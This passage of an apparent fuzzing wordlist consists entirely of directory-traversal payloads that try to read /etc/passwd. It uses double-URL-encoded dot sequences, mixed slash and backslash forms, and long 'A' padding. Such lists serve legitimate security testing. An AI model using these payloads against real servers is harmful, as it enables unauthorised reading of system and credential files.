e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd;index.html\r\n%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html\r\n\\..//etc/passwd\r\n\\../\\..//etc/passwd\r\n\\../\\../\\..//etc/passwd\r\n\\../\\../\\../\\..//etc/passwd\r\n\\../\\../\\../\\../\\..//etc/passwd\r\n\\../\\../\\../\\../\\../\\..//etc/passwd\r\n\\../\\../\\../\\../\\../\\../\\..//etc/passwd\r\n\\../\\../\\../\\../\\../\\../\\../\\..//etc/passwd\r\n/..\\/etc/passwd\r\n/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/..\\/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\/etc/passwd\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../..//etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\/etc/passwd\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA